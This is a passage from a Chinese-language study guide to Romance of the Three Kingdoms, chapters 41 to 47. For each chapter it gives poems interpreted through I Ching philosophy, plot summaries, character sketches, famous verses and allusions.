    刘备携民渡江：曹操假意安民，让徐庶劝降刘备未能成功。刘备带领十数万百姓弃樊城而走，前往襄阳。到襄阳城下，刘琮惧怕不敢见刘备。魏延欲杀蔡瑁、张允，开城门迎刘备，但文聘与魏延交战，刘备不忍百姓受战乱之苦，未进城，转投江陵，在途中还祭奠了刘表。


    刘琮投降与遇害：王威劝刘琮偷袭曹操未果，蔡瑁、张允投降曹操。曹操赐官给蔡瑁、张允并让他们统领水军，还答应让刘琮永为荆州之主，但却转封他为青州刺史，在刘琮赴任途中将其杀害，王威护主而死。


    赵云单骑救主：曹操追杀刘备，赵云单人匹马寻找刘备家人。赵云杀了夏侯恩，得到曹操的宝剑青釭剑。赵云找到受伤的糜夫人和阿斗，糜夫人把阿斗托付给赵云后，自己投井而死。赵云怀抱阿斗，凭借曹操的宝剑奋力砍杀，曹操敬佩赵云神勇没下死手，赵云终于杀出重围。


    2. 主要人物：


    刘备：以仁德着称，深得百姓爱戴。此次携民渡江，展现了他的仁义和对百姓的责任感，但在战乱中也显得有些势单力薄、艰难求生。


    赵云：忠勇无比，单枪匹马在曹军阵营中反复冲杀，寻找刘备的家眷。面对重重危险，毫不退缩，成功救出阿斗，是本回的核心人物。


    曹操：作为一方霸主，有雄才大略，但在本回中也展现出了他的奸诈一面，如欺骗刘琮等。


    刘琮：刘表之子，懦弱无能，在曹操的威逼下投降，最终被曹操杀害。


    糜夫人：深明大义，为了不拖累赵云，让阿斗能安全回到刘备身边，毅然投井自尽。


    魏延：勇猛有谋，欲杀蔡瑁、张允迎刘备，但因文聘阻拦未能成功。


    文聘：本为刘表部下，后归降曹操，拦住刘备，但被刘备责骂后羞惭满面，引兵自投东北去了。


    3. 经典诗句：


    “血染征袍透甲红，当阳谁敢与争锋！古来冲阵扶危主，只有常山赵子龙。”此句生动地描写了赵云在当阳长坂坡之战中的英勇表现，赞美了赵云的勇猛和英雄气概，成为后世传颂赵云的经典诗句。


    4. 典故：


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    赵子龙单骑救主：这是《三国演义》中一个非常着名的典故。赵云在曹操大军的包围中，不顾自身安危，孤身一人寻找并救出了刘备的儿子阿斗，展现了他的忠诚和勇敢。此典故也成为了后世赞扬忠臣义士、英勇无畏精神的典范。


    二、《周易哲学视角下的刘玄德携民渡江与赵子龙单骑救主》


    《三国演义》第 41 回“刘玄德携民渡江，赵子龙单骑救主”，是一段充满传奇色彩与人性光辉的故事。在这一情节中，刘备的仁德、赵云的英勇以及百姓的追随，共同构成了一幅波澜壮阔的历史画卷。而当我们以周易哲学的视角来审视这一故事时，更能发现其中蕴含的深刻哲理与智慧。


    在周易哲学中，“变”是一个核心概念。世间万物无时无刻不在变化之中，而这种变化往往是由阴阳两种力量相互作用所导致的。在刘玄德携民渡江的过程中，我们可以清晰地看到这种变化的轨迹。


    刘备原本据守樊城，但在曹操大军的威胁下，不得不带领民众一同渡江逃往江陵。这一决策看似无奈之举，但实际上却体现了刘备顺应时势、灵活应变的能力。他深知民心的重要性，明白只有与民众同甘共苦，才能赢得他们的支持与信任。这种对变化的敏锐洞察力和果断决策，正是刘备能够在乱世中立足的关键所在。


    而民众对刘备的追随，也反映了他们对刘备仁德的认可和向往。在周易哲学中，“德”是一种强大的力量，它能够感召人心，凝聚力量。刘备以其宽厚仁慈的品德，赢得了民众的爱戴与拥护，使他们愿意跟随他一同面对艰难险阻。这种以德服人的力量，在携民渡江的过程中得到了充分的体现


    。


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 第42章 张翼德大闹长坂桥，刘豫州败走汉津口

    一、七律诗《周易哲学视角下的长坂坡风云与败走汉津》：


    （一）《长坂坡风云与败走汉津》


    长坂坡前战鼓擂，风云变幻显神威。


    乾刚张飞猛如虎，坤柔刘备势渐微。


    震雷怒吼曹军惧，坎险赵云智勇归。


    周易哲思蕴深意，兴亡成败事皆非。


    （二）以下是对这首七律诗的诠释：


    “长坂坡前战鼓擂，风云变幻显神威”：描绘了长坂坡这个战场的紧张氛围，战斗的激烈和局势的变幻莫测，展现出战争的惊心动魄。


    “乾刚张飞猛如虎，坤柔刘备势渐微”：以张飞的勇猛体现了乾卦所代表的刚健之力，而刘备的处境则体现了坤卦所象征的柔顺与势微。


    “震雷怒吼曹军惧，坎险赵云智勇归”：用张飞的怒吼如雷让曹军畏惧，来表现震卦的威力；赵云在艰险中展现出的智勇，则体现了坎卦所蕴含的克服困难的力量。


    “周易哲思蕴深意，兴亡成败事皆非”：强调了周易哲学中蕴含的深刻道理，同时也感慨历史上的兴亡成败都已成为过去。


    整首诗通过周易哲学的视角，对长坂坡的风云变幻和刘备的败走进行了深入的解读，展现了历史的波澜壮阔和其中蕴含的智慧与哲理。


    （三）《三国演义》第 42 回名为“张翼德大闹长坂桥，刘豫州败走汉津口”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    刘备带领新野、樊城两地百姓来到襄阳城下，但蔡瑁不准刘备入城。无奈之下，刘备只好带领百姓前往江陵。


    在长坂坡，刘备军队遭到曹操的夜袭，刘备与部将、家眷失散。赵云在混乱中舍命救出了刘备的家眷，并且斩杀曹营名将五十余员。


    张飞在长坂桥据水断桥，面对曹军百万雄兵，一声巨吼，竟吓死了曹操的部将夏侯杰，喝退了曹操的大军。


    后来，关羽、诸葛亮、刘琦接应刘备投江夏。荆州军民大多投降了曹操。曹操点马步水军八十三万，诈称一百万，水陆并进，沿江而来。东吴孙权开始商议抵御曹操的策略，鲁肃则前往江夏去探听刘备的情况，诸葛亮也同鲁肃一起离开江夏前往柴桑郡。


    2. 主要人物：


    刘备：字玄德，西汉中山靖王刘胜之后，蜀汉开国皇帝。在这一回中，他展现出了对百姓的仁慈，即使在危急时刻也不愿舍弃百姓，带领他们一起逃亡，但也因此陷入了困境。


    张飞：字翼德，三国时期蜀汉的名将，和关羽一同被称为“万人敌”。在长坂桥，他凭借自己的勇猛和气势，吓退了曹操的大军，为刘备的撤退争取了时间。


    赵云：字子龙，蜀汉名将。他忠勇无比，在长坂坡单枪匹马，七进七出曹军阵营，救出了刘备的儿子刘禅，是三国中着名的勇将之一。


    曹操：字孟德，曹魏政权的奠基人。他率领大军追击刘备，想要一举消灭刘备势力，但在长坂桥被张飞吓退。


    夏侯杰：曹操的部将，在长坂桥被张飞的吼声惊吓，肝胆碎裂，倒撞于马下而亡。


    3. 经典诗句：此回中可能没有特别着名的经典诗句，但在《三国演义》中其他部分有很多与这些人物相关的诗句，比如写张飞的“长坂桥头杀气生，横枪立马眼圆睁。一声好似轰雷震，独退曹家百万兵”，生动地描绘了张飞在长坂桥的英勇形象。<


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    p> 4. 典故：


    携民渡江：曹操率大军南下征讨荆州，刘备逃离樊城时，因舍弃不下新野与樊城百姓，怕曹操再次屠城，便带上百姓一起转移。这体现了刘备的仁德和对百姓的爱护，也为他赢得了民心。


    单骑救主：赵云在长坂坡不顾自身安危，单枪匹马冲入曹军阵营，多次杀进杀出，最终救出了幼主刘禅，展现了他的忠诚和英勇。


    大闹长坂桥：张飞在长坂桥一人面对曹操的百万大军，毫无畏惧，通过三声怒吼，吓死夏侯杰，喝退曹军，成为三国中的经典场景之一。


    二、《周易哲学视角下的长坂坡风云与败走汉津》


    《三国演义》第 42 回“张翼德大闹长坂桥，刘豫州败走汉津口”，描绘了一段充满戏剧性与英雄气概的历史场景。在这一情节中，我们可以运用周易哲学的智慧来深入剖析其中的人物、事件与背后的深层意义。


    从周易哲学的角度来看，长坂桥之战与刘备的败走，体现了阴阳相互转化的规律。刘备携民渡江，本是出于仁德之心，但也因此导致了行动的迟缓，陷入了困境，这便是阴的一面。而张飞在长坂桥的英勇表现，以及赵云的拼死救援，则是阳的力量的展现。阴阳相互作用，推动着故事的发展。


    在这场战斗中，张飞的勇猛无畏展现得淋漓尽致。他独自一人据守长坂桥，面对曹操的大军，毫无惧色。这种勇气并非单纯的武力，而是一种内在的精神力量。在周易中，乾卦代表刚健、勇武，张飞的行为正体现了乾卦的精神。他以一己之力，对抗着强大的曹军，如同乾卦中的龙，翱翔于天际，展现出强大的力量与威严。


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 第43章 诸葛亮舌战群儒 鲁子敬力排众议

    一、七律诗《周易智慧之光：诸葛亮舌战群儒与鲁肃力排众议》：


    （一）《舌战群儒与力排众议》


    群儒舌战展锋芒，周易智慧绽光芒。


    诸葛巧言破众议，鲁肃力挺护家邦。


    言辞犀利智谋显，意气激昂道义彰。


    世事纷纭心笃定，风云变幻自翱翔。


    （二）诠释：


    首联：“群儒舌战展锋芒，周易智慧绽光芒”，描述了诸葛亮在舌战群儒时展现出的锐利言辞，同时也点明了周易智慧在其中闪耀。


    颔联：“诸葛巧言破众议，鲁肃力挺护家邦”，具体讲述了诸葛亮凭借巧妙的言辞打破了群儒的质疑，而鲁肃则极力排除众议，维护国家利益。


    颈联：“言辞犀利智谋显，意气激昂道义彰”，进一步强调了诸葛亮言辞的犀利和智谋的显现，以及鲁肃意气激昂中所体现的道义。


    尾联：“世事纷纭心笃定，风云变幻自翱翔”，指出在世事纷繁复杂的情况下，他们内心坚定，在风云变幻中自如翱翔，展现出了非凡的气度和智慧。


    （三）《三国演义》第 43 回名为“诸葛亮舌战群儒 鲁子敬力排众议”，以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    鲁肃和诸葛亮辞别刘备、刘琦后，乘船前往柴桑郡。鲁肃提醒诸葛亮在见孙权时不要如实说曹操兵多将广。船到岸后，鲁肃先去见孙权，此时孙权正与文武官员在堂上商议曹操送来的檄文。檄文中曹操说自己奉天子之命征伐，如今统雄兵百万、上将千员，想与孙权会猎于江夏，共伐刘备、同分土地、永结盟好。


    孙权对曹操的提议犹豫不决，张昭等谋士大多主张投降曹操，认为曹操势大不可抵挡，且长江天险已与曹操共有，投降可保东吴民安、江南六郡太平。孙权低头不语，随后起身更衣，鲁肃跟在其后，鲁肃劝孙权不可降曹，指出众人降曹仍可做官，而孙权降曹则地位不保。孙权表示曹操新得袁绍和荆州之兵，势力强大难以抵御。鲁肃告知孙权，自己从江夏带回了诸葛亮，可问其虚实。


    次日，鲁肃引诸葛亮去见孙权。在此之前，诸葛亮先与东吴的二十余名文武官员相见，张昭首先发难，质疑诸葛亮自比管仲、乐毅，却在辅佐刘备后毫无作为，刘备还丢了荆襄，如今败走夏口，无容身之地。诸葛亮反驳说刘备此前兵微将寡，暂借新野容身，博望烧屯、白河用水已让夏侯惇、曹仁等心惊胆裂，且刘琮投降曹操是刘备始料未及，当阳之败是因刘备不忍抛弃数十万赴义之民，这都是大仁大义之举。之后虞翻、步骘、薛综、陆绩、严畯、程德枢等人轮番向诸葛亮发难，都被诸葛亮一一反驳，众人见诸葛亮对答如流，尽皆失色。


    此时黄盖出来指责众人以唇舌相难诸葛亮，而非商议退敌之策。随后黄盖与鲁肃引诸葛亮入见孙权，孙权降阶相迎，对诸葛亮以礼相待。诸葛亮暗思孙权相貌非凡，只可激不可说，等孙权问起曹操军情时，诸葛亮夸大曹操兵力，说曹操马步水军约有一百余万，战将足智多谋、能征惯战者何止一二千人，且曹操有吞并江东之意。鲁肃在旁闻言失色，而诸葛亮装作不见。


    2. 主要人物：


    诸葛亮：刘备的军师，智慧超群、口才出众，在这一回中孤身前往东吴，面对东吴众多谋士的质疑和刁难，凭借出色的辩论才能一一反驳，展现出其


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    坚定的立场和卓越的智慧，为孙刘联盟的促成奠定了基础。


    鲁肃：东吴的重要谋士，主张联刘抗曹，他力排众议，坚定地支持与刘备联合对抗曹操，并且在诸葛亮与东吴众人的交锋中起到了一定的协调作用，还多次提醒诸葛亮注意言辞，对孙刘联盟的促成起到了积极的推动作用。


    孙权：东吴之主，在曹操大兵压境的情况下，对是战是降犹豫不决。他一方面看到曹操势力强大，担心东吴难以抵挡；另一方面又不甘心轻易投降，处于摇摆不定的状态。


    张昭：东吴第一大谋士，主降派的代表人物，率先向诸葛亮发难，质疑刘备和诸葛亮的能力，但被诸葛亮反驳得无言以对。


    黄盖：东吴的老将，忠勇正直，看不惯众人对诸葛亮的刁难，出面为诸葛亮说话，并且在后来的赤壁之战中发挥了重要作用。


    3. 经典诗句和典故：


    经典诗句：这一回中提到“多言获利，不如默而无言”。这句话体现了一种为人处世的智慧，在人际交往中，有时候保持沉默比多说话更有益处，也反映了当时诸葛亮舌战群儒时的一种态度，即对于东吴谋士们的无端发难，他以精彩的辩论回应，但也深知言多必失的道理。


    典故：这一回的主要典故就是“舌战群儒”。诸葛亮以一己之力与东吴众多谋士展开辩论，凭借其渊博的知识、敏捷的思维和出色的口才，将东吴的谋士们驳得哑口无言，成功地扞卫了刘备集团的尊严和立场，也为孙刘联盟的促成创造了有利条件。这个典故后来常被用来形容一个人在辩论中以卓越的口才和智慧战胜众多对手。


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 第44章 孔明用智激周瑜，孙权决计破曹操

    一、七律诗来描述这一情节：


    （一）《周易哲思话曹吴》


    孔明妙计激周瑜，周易哲思蕴战图。


    智算阴阳形势变，谋筹刚柔决心殊。


    时位相应机缘巧，吉凶转化险关逾。


    孙权决计破曹寇，鼎立三分史册书。


    （二）诠释：


    诗的首联“孔明妙计激周瑜，周易哲思蕴战图”，点明了诸葛亮用智谋激发周瑜，以及其中蕴含着周易哲学的思想。颔联“智算阴阳形势变，谋筹刚柔决心殊”，强调了诸葛亮运用周易中阴阳变化的道理来谋划，以及刚柔并济的策略来坚定决心。颈联“时位相应机缘巧，吉凶转化险关逾”，指出了把握时机和位置的重要性，以及吉凶相互转化的巧妙之处。尾联“孙权决计破曹寇，鼎立三分史册书”，描述了孙权最终下定决心对抗曹操，从而奠定了三国鼎立的局面，这一历史事件被载入史册。整首诗通过对《三国演义》第 44 回情节的描绘，展现了周易哲学在其中的深刻影响。


    （三）《三国演义》第 44 回名为“孔明用智激周瑜，孙权决计破曹操”，以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    曹操率领大军南下，准备攻打东吴。东吴的孙权在战与和之间犹豫不决，于是鲁肃建议召回周瑜商议对策。


    诸葛亮跟随鲁肃来到江东，先与江东众谋士展开舌辩，凭借其过人的智慧和口才，驳得众人无话可答。诸葛亮成功说服孙权倾向于联刘抗曹，但孙权心中仍有疑虑。


    周瑜回来后，鲁肃带诸葛亮来见周瑜。周瑜故意说自己是来劝孙权降曹的，诸葛亮便用计激他。诸葛亮巧妙利用曹植所作《铜雀台赋》中“揽二乔于东南兮，乐朝夕之与共”的句子，添油加醋地向周瑜暗示曹操此次南征的真正目的是为了夺取江东的大乔和小乔。大乔是孙策之妻，小乔是周瑜之妻，周瑜听后大怒，发誓与曹操势不两立。


    次日，周瑜面见孙权，慷慨激昂地陈述不能降曹的种种理由，并分析当前局势，指出曹操虽兵强马壮，但也并非不可战胜。孙权听后下定决心要与曹操一战，当下拜周瑜为大都督，号令三军准备抗曹。


    2. 主要人物：


    诸葛亮：智慧超群，善于用计。他孤身入吴，凭借出色的口才和智谋，先是舌战群儒，后又智激周瑜，成功推动了孙刘联盟的形成，为抗击曹操奠定了基础。


    周瑜：东吴的大都督，才华横溢且心高气傲。起初对曹操的实力有所顾虑，但在诸葛亮的激将法下，坚定了抗曹的决心。


    孙权：东吴之主，在曹操大军压境时，内心摇摆不定。在诸葛亮的劝说和周瑜的分析下，最终决定与曹操对抗，展现出了一定的决断力。


    鲁肃：东吴的重要谋士，一直主张孙刘联盟。他积极促成诸葛亮与周瑜的会面，并在孙权和周瑜之间起到了沟通和协调的作用。


    3. 经典诗句和典故：


    诗句方面：此回中涉及的《铜雀台赋》中的“揽二乔于东南兮，乐朝夕之与共”被诸葛亮巧妙引用，成为智激周瑜的关键。不过在历史上，曹操建造铜雀台是为了彰显自己的政治地位和文学才华，与大乔、小乔并无关系，这是《三国演义》为了增加故事的戏剧性而进行的艺术创作。


    典故方面：


    舌战群儒：诸葛亮在东吴与众多谋士进行辩论，以一


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    己之力应对众人的质疑和反驳，展现出了卓越的口才和智慧。这一情节成为了《三国演义》中的经典场景，体现了诸葛亮的雄辩之才和对局势的准确把握。


    智激周瑜：诸葛亮利用曹操的《铜雀台赋》和周瑜对小乔的感情，成功激起了周瑜对曹操的愤怒，坚定了周瑜抗曹的决心。这一典故展示了诸葛亮的智谋和对人性的洞察。


    二、《＜三国演义＞第 44 回深度解析：孔明用智激周瑜与孙权决计破曹操的周易哲学》


    在《三国演义》第 44 回“孔明用智激周瑜，孙权决计破曹操”中，我们看到了一场智谋与决策的精彩交锋，而深入挖掘其中的周易哲学，更能揭示出这一情节的深刻内涵与智慧光芒。


    从周易哲学的角度来看，这一情节展现了阴阳之道的巧妙运用。诸葛亮与周瑜之间的互动，恰似阴阳两种力量的相互博弈。诸葛亮代表着阳刚的智慧与谋略，他以其卓越的才智和洞察力，巧妙地洞察到了周瑜内心的疑虑与矛盾；而周瑜则象征着阴柔的情感与顾虑，他在面对曹操的威胁时，既有对抗的决心，又有对未知的恐惧。阴阳相互作用，推动着情节的发展，也展现了人性的复杂与多面。


    在这一过程中，变易与不易的道理也得到了充分体现。形势在不断变化，曹操的强大威胁迫使东吴必须做出抉择；而诸葛亮坚守的联刘抗曹的策略则是不易的原则。他根据形势的变化，灵活调整策略，运用周易中的变易之理，巧妙地引导周瑜和孙权做出正确的决策。同时，他也让周瑜和孙权明白，在变易的局势中，必须坚守一些核心的价值观和原则，才能在动荡中保持稳定与坚定。


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 第45章 三江口曹操折兵 群英会蒋干中计

    一、七律诗《周易哲学视角下的“三江口曹操折兵 群英会蒋干中计”》：


    （一）《三江口曹兵中计》


    三江战起势如潮，易理玄机妙策昭。


    蒋干中计迷局陷，曹操折兵智谋消。


    阴阳变幻风云涌，刚柔相济计略高。


    世事无常皆有定，权谋胜负自堪豪。


    （二）以下是对这首七律诗的诠释：


    首联：“三江战起势如潮，易理玄机妙策昭”，描述了三江口战役的激烈态势，同时指出周易哲学中的玄机妙策在其中显现。


    颔联：“蒋干中计迷局陷，曹操折兵智谋消”，具体讲述了蒋干中了周瑜的计谋而陷入迷局，曹操也因此损失了兵力，智谋未能得以施展。


    颈联：“阴阳变幻风云涌，刚柔相济计略高”，进一步阐释了周易哲学中阴阳相互变化的道理，以及在这场较量中刚柔相济的计策运用得十分高超。


    尾联：“世事无常皆有定，权谋胜负自堪豪”，强调了世间事物变化无常但又有其必然规律，权谋争斗中的胜负也让人感慨其豪迈。


    整首诗通过周易哲学的视角，深入剖析了“三江口曹操折兵 群英会蒋干中计”这一情节，展现了其中的智谋与玄机，以及命运的变幻莫测。


    （三）《三国演义》第 45 回名为“三江口曹操折兵 群英会蒋干中计”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    曹操派蔡瑁、张允等荆州降将训练水军，沿江设立二十四座水门，曹军水寨布置得井井有条。周瑜暗窥曹营水寨后，认为蔡瑁、张允深谙水战，是东吴破曹的主要障碍，便想设计除掉二人。


    曹操正为破东吴无策发愁时，曹营幕僚蒋干自荐去东吴说服周瑜归降，曹操大喜，置酒为蒋干送行。蒋干驾小舟到周瑜寨中，周瑜早知其来意，与众将定下计谋。周瑜先在群英会上定下“只叙朋友交情，不提军旅之事”的规矩，封住蒋干的口，又向蒋干展示江东英杰云集、兵精粮足的实力，炫耀自己受孙权信任重用的地位，断绝蒋干说降的念头。


    夜间，周瑜与蒋干“抵足而眠”，佯装酒醉酣睡。蒋干见桌上堆着文书，便起床偷视，发现一封伪造的蔡瑁、张允投降东吴的书信，还看到“江北有人到此”来暗联络的情节，蒋干对书信确信无疑。他偷了书信后，连夜溜回曹营报功。曹操看了书信大怒，喝令杀了蔡瑁、张允。周瑜的反间计成功。


    2. 主要人物：


    周瑜：东吴都督，足智多谋、气量狭小。本回中他巧妙地利用蒋干，成功除掉了曹操的水军都督蔡瑁、张允，为东吴破曹扫除了一大障碍。


    蒋干：曹操的幕僚，自视甚高，却中了周瑜的计。他本想凭借与周瑜的同窗关系劝降周瑜，结果却被周瑜利用，带回假书信，导致曹操错杀蔡瑁、张允。


    曹操：生性多疑，轻易就中了周瑜的反间计，错杀了自己的水军将领，为赤壁之战的失败埋下了伏笔。


    3. 经典诗句：


    “丈夫处世兮立功名；立功名兮慰平生。慰平生兮吾将醉；吾将醉兮发狂吟！”这是周瑜在群英会上舞剑作歌所吟。意思是大丈夫活在世间，应当立下功名，只有立下功名才能慰藉平生，因为求得的功名带来的心理安慰足以使自己陶醉，醉意朦胧中便会发出这样的狂放之言。此句展现了周瑜的豪情壮志和意气风发。


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    4. 典故：


    群英会蒋干中计：这是《三国演义》中的着名典故。周瑜假装泄露机密，让蒋干中计，曹操错杀蔡瑁、张允，使自己的水军实力大减。此典故常用来形容人在智谋较量中被对手巧妙设计而陷入圈套。


    二、以下是一篇关于“用周易哲学深度解析《三国演义》第 45 回‘三江口曹操折兵 群英会蒋干中计’”的文章：


    《周易哲学视角下的“三江口曹操折兵 群英会蒋干中计”》


    《三国演义》第 45 回“三江口曹操折兵 群英会蒋干中计”，是一段充满智谋与算计的精彩篇章。从周易哲学的角度来深度解析这一情节，能更深刻地理解其中的权谋之术、人物心理以及局势的变化。


    （一）阴阳之道的体现


    在这一回中，阴阳之道贯穿始终。曹操与周瑜之间的对抗，犹如阴阳两种力量的较量。曹操势力庞大，代表着阳刚之威；而周瑜智谋过人，代表着阴柔之智。双方在三江口的交锋，正是阴阳相互作用的结果。


    蒋干的出现，也是阴阳平衡的一种体现。他自以为是，自认为能凭借自己的智谋说服周瑜归降曹操，却不知自己已陷入了周瑜的阴谋之中。他的阳刚之态与周瑜的阴柔之谋相互碰撞，最终导致了他的失败。


    （二）刚柔并济的策略运用


    周瑜在与曹操的对抗中，巧妙地运用了刚柔并济的策略。他先是在群英会上以刚硬的姿态展示东吴的实力和自己的决心，让蒋干感受到东吴的强大不可侵犯；而后又以柔克刚，通过与蒋干的“抵足而眠”，让蒋干放松警惕，从而取得了反间计的成功。


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 第46章 用奇谋孔明借箭 献密计黄盖受刑

    一、七律诗《周易智慧在〈三国演义〉之“用奇谋孔明借箭 献密计黄盖受刑”中的体现》：


    （一）《奇谋苦计蕴易理》


    孔明妙计借箭忙，黄盖舍身苦肉伤。


    阴阳变化局势控，刚柔并济智谋藏。


    否极泰来终有报，亢龙有悔莫轻狂。


    三国风云周易显，千秋史册智慧彰。


    （二）诠释：


    诗的首联“孔明妙计借箭忙，黄盖舍身苦肉伤”，描绘了诸葛亮运用奇谋借箭和黄盖甘愿受刑的情景。


    颔联“阴阳变化局势控，刚柔并济智谋藏”，体现了周易中阴阳变化的思想，诸葛亮巧妙地控制局势，而黄盖的苦肉计则展现了刚柔并济的智谋。


    颈联“否极泰来终有报，亢龙有悔莫轻狂”，表达了否极泰来的道理，以及曹操因自大而失败的警示。


    尾联“三国风云周易显，千秋史册智慧彰”，指出在《三国演义》的故事中彰显了周易的智慧，这种智慧将在历史长河中永远闪耀。


    整首诗通过对“用奇谋孔明借箭 献密计黄盖受刑”这一情节的描述，深入挖掘其中蕴含的周易哲学智慧，展现了三国故事的魅力和智慧的光芒。


    （三）《三国演义》第四十六回名为“用奇谋孔明借箭 献密计黄盖受刑”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    孔明被周瑜刁难造箭：周瑜嫉妒诸葛亮的才能，想借机除掉他。于是以与曹军交战需要弓箭为由，要求诸葛亮在十日之内造出十万支箭，诸葛亮却立下军令状，承诺三日完成。


    草船借箭：诸葛亮向鲁肃借了二十只船，每船配置三十名军士，并用青布幔子遮住船身，船两边各束草把子千余个。第三天四更时分，诸葛亮带着鲁肃趁着大雾弥漫驶向曹军水寨，曹操因雾大怕有埋伏，不敢出兵，只命弓弩手向江中放箭。待雾散时，诸葛亮已得十万余支箭，命船返回。


    曹操派人诈降与周瑜将计就计：曹操平白折了许多箭，心中气闷。荀攸建议派人去东吴诈降，作为内应。曹操便派蔡中、蔡和前往东吴。周瑜识破了曹操的计谋，将计就计，准备利用这两人传递假消息。


    黄盖欲行苦肉计：为了让曹操相信东吴的诈降，周瑜与黄盖商议，决定使用苦肉计。黄盖甘愿领受周瑜之命，受苦刑以取信曹操。黄盖请求参谋阚泽向曹操献诈降书，阚泽欣然答应。


    2. 主要人物：


    诸葛亮：智慧超群，能掐会算，面对周瑜的刁难从容应对，巧妙地利用草船借箭，化解危机，展现出其非凡的智谋和胆识。


    周瑜：东吴的大都督，智勇双全，但心胸狭窄，嫉妒诸葛亮的才华，屡次想设计陷害他。


    鲁肃：为人忠厚老实，是周瑜与诸葛亮之间的调和者，虽为东吴谋臣，但在诸葛亮的智谋面前常常显得不知所措。


    黄盖：东吴的老将，忠勇可嘉，为了东吴的胜利，甘愿忍受苦刑，执行苦肉计。


    曹操：生性多疑，因大雾而不敢轻易出兵，中了诸葛亮的草船借箭之计，又被东吴的诈降所迷惑。


    3. 经典诗句：


    “一天浓雾满长江，远近难分水渺茫。骤雨飞蝗来战舰，孔明今日伏周郎。”此诗生动地描绘了草船借箭时大雾弥漫的场景以及诸葛亮智斗周瑜的情景。


    4.


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    典故：


    草船借箭：指运用智谋，凭借他人的人力或财力来达到自己的目的。诸葛亮利用曹操的多疑，在大雾天气用草船诱使曹军射箭，不费吹灰之力便得到了十万余支箭。


    苦肉计：黄盖为了取得曹操的信任，甘愿忍受周瑜的杖刑，以此来欺骗曹操，为东吴的火攻之计创造条件。


    二、《周易智慧在〈三国演义〉之“用奇谋孔明借箭 献密计黄盖受刑”中的体现》


    《三国演义》第四十六回“用奇谋孔明借箭 献密计黄盖受刑”，是一段充满智谋与策略的精彩篇章。在这一回中，诸葛亮的奇谋和黄盖的苦肉计展现了人性的复杂与智慧的光芒，而运用周易哲学来深度解析这一情节，更能揭示其中蕴含的深刻道理。


    在周易哲学中，变化是永恒的主题。诸葛亮深知事物的变化无常，他能准确把握局势，因势利导。当周瑜提出让他在十日之内造出十万支箭的苛刻要求时，诸葛亮并没有被困难吓倒，而是看到了其中的变化之机。他运用智谋，巧妙地利用草船借箭，不仅完成了看似不可能的任务，还让自己在困境中化险为夷。这体现了周易中“变则通，通则久”的思想，即只有适应变化，善于变通，才能在复杂的局势中找到出路。


    同时，草船借箭这一计策也反映了周易中“阴阳相生”的理念。大雾弥漫的天气，既是一种阻碍，也是一种掩护。诸葛亮巧妙地利用了这种阴阳相生的关系，将不利因素转化为有利条件，从而实现了自己的目标。在生活中，我们也常常会遇到各种看似矛盾的情况，但只要善于发现其中的阴阳相生之处，就能找到解决问题的方法。


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 第47章 阚泽密献诈降书 庞统巧授连环计

    一、七律诗《周易智慧在〈三国演义〉阚泽密献诈降书与庞统巧授连环计中的体现》


    （一）《周易智慧在〈三国演义〉阚泽密献诈降书与庞统巧授连环计中体现》


    阚泽勇献诈降书，妙计连环庞统图。


    刚健勇为显气魄，变易莫测运机枢。


    阴阳相济智谋展，周而复始势不孤。


    中和之理谋胜算，知几洞察局势殊。


    风云三国藏周易，智慧光芒照史途。


    （二）诠释：


    “阚泽勇献诈降书，妙计连环庞统图”，描述了阚泽勇敢地献出诈降书，以及庞统巧妙地设计连环计的情节。


    “刚健勇为显气魄，变易莫测运机枢”，体现了阚泽展现出的刚健勇敢的气魄，以及曹操等人在面对局势时的变化莫测和运用智谋。


    “阴阳相济智谋展，周而复始势不孤”，指出连环计中蕴含的阴阳相互协调的智慧，以及事物周而复始的发展规律。


    “中和之理谋胜算，知几洞察局势殊”，强调了在计策中追求中和的道理，以及洞察局势变化的重要性。


    “风云三国藏周易，智慧光芒照史途”，表达了《三国演义》中蕴含着周易的智慧，这些智慧如光芒般照耀着历史的进程。


    整首诗通过对阚泽密献诈降书和庞统巧授连环计的描述，展现了周易智慧在其中的体现，以及对历史故事的深刻思考。


    （三）《三国演义》第 47 回名为“阚泽密献诈降书 庞统巧授连环计”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    阚泽献书：东吴黄盖与周瑜定下苦肉计后，黄盖让好友阚泽扮作渔翁，前往曹营献诈降书。阚泽见到曹操后，曹操起初怀疑这是东吴的奸计，想要斩杀阚泽。但阚泽面不改色，凭借着过人的胆识和机智的言辞，对曹操的质疑一一反驳。曹操反复看了投降书十余次后，拍案大怒，指责黄盖是用苦肉计派阚泽来下诈降书。阚泽仰天大笑，说曹操自夸熟读兵书，却不识机谋，不懂“背主作窃，不可定期”的道理，若约定日期，急切下不得手，反来接应时事情必然泄漏，只可觑便而行，岂可预期相订。曹操听后觉得有理，改容下席向阚泽道歉，并表示若二人能建大功，他日受爵必在诸人之上。这时，蔡中和蔡和送来黄盖被打的消息，曹操对阚泽的投降之事更加深信不疑。


    庞统授计：曹操对甘宁、黄盖之降再三持疑，蒋干又自告奋勇前往东吴探听虚实。周瑜得知后设计，故意责备蒋干，将其安排到山背后的小庵歇息。蒋干在庵中机缘巧合遇到庞统，他深知庞统之才，极力推荐庞统去投靠曹操，庞统应允。庞统见到曹操后，献上连环计，让曹军把舟船用铁链连接起来，这样在水上便能如履平地，可解决北军不习水战的难题。曹操大喜，丝毫没有察觉到其中暗藏的玄机。


    2. 主要人物：


    阚泽：字德润，会稽山阴人。家贫好学，口才辨给，少有胆气。他为了东吴的大业，不顾生命危险前往曹营献诈降书，展现出了忠诚和勇敢的品质。


    庞统：字士元，号凤雏，因避乱寓居江东。他智慧过人，向曹操献上连环计，为赤壁之战东吴的胜利奠定了基础。


    曹操：生性多疑，但又求贤若渴。在这一回中，他先是对阚泽的诈降书充满怀疑，但在阚泽的巧辩下，又轻信了他


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    ，还中了庞统的连环计，体现出他在用人和决策上的复杂性。


    蒋干：曹操的谋士，自以为聪明，两次前往东吴，却都中了周瑜的计谋，是一个成事不足、败事有余的人物。


    周瑜：东吴的大都督，足智多谋。他与黄盖定下苦肉计，又巧妙地利用蒋干，让庞统成功地向曹操献上连环计，为赤壁之战的胜利做了充分的准备。


    黄盖：东吴的老将，为了击败曹操，甘愿忍受苦刑，与周瑜配合上演苦肉计，是一个忠勇可嘉的人物。


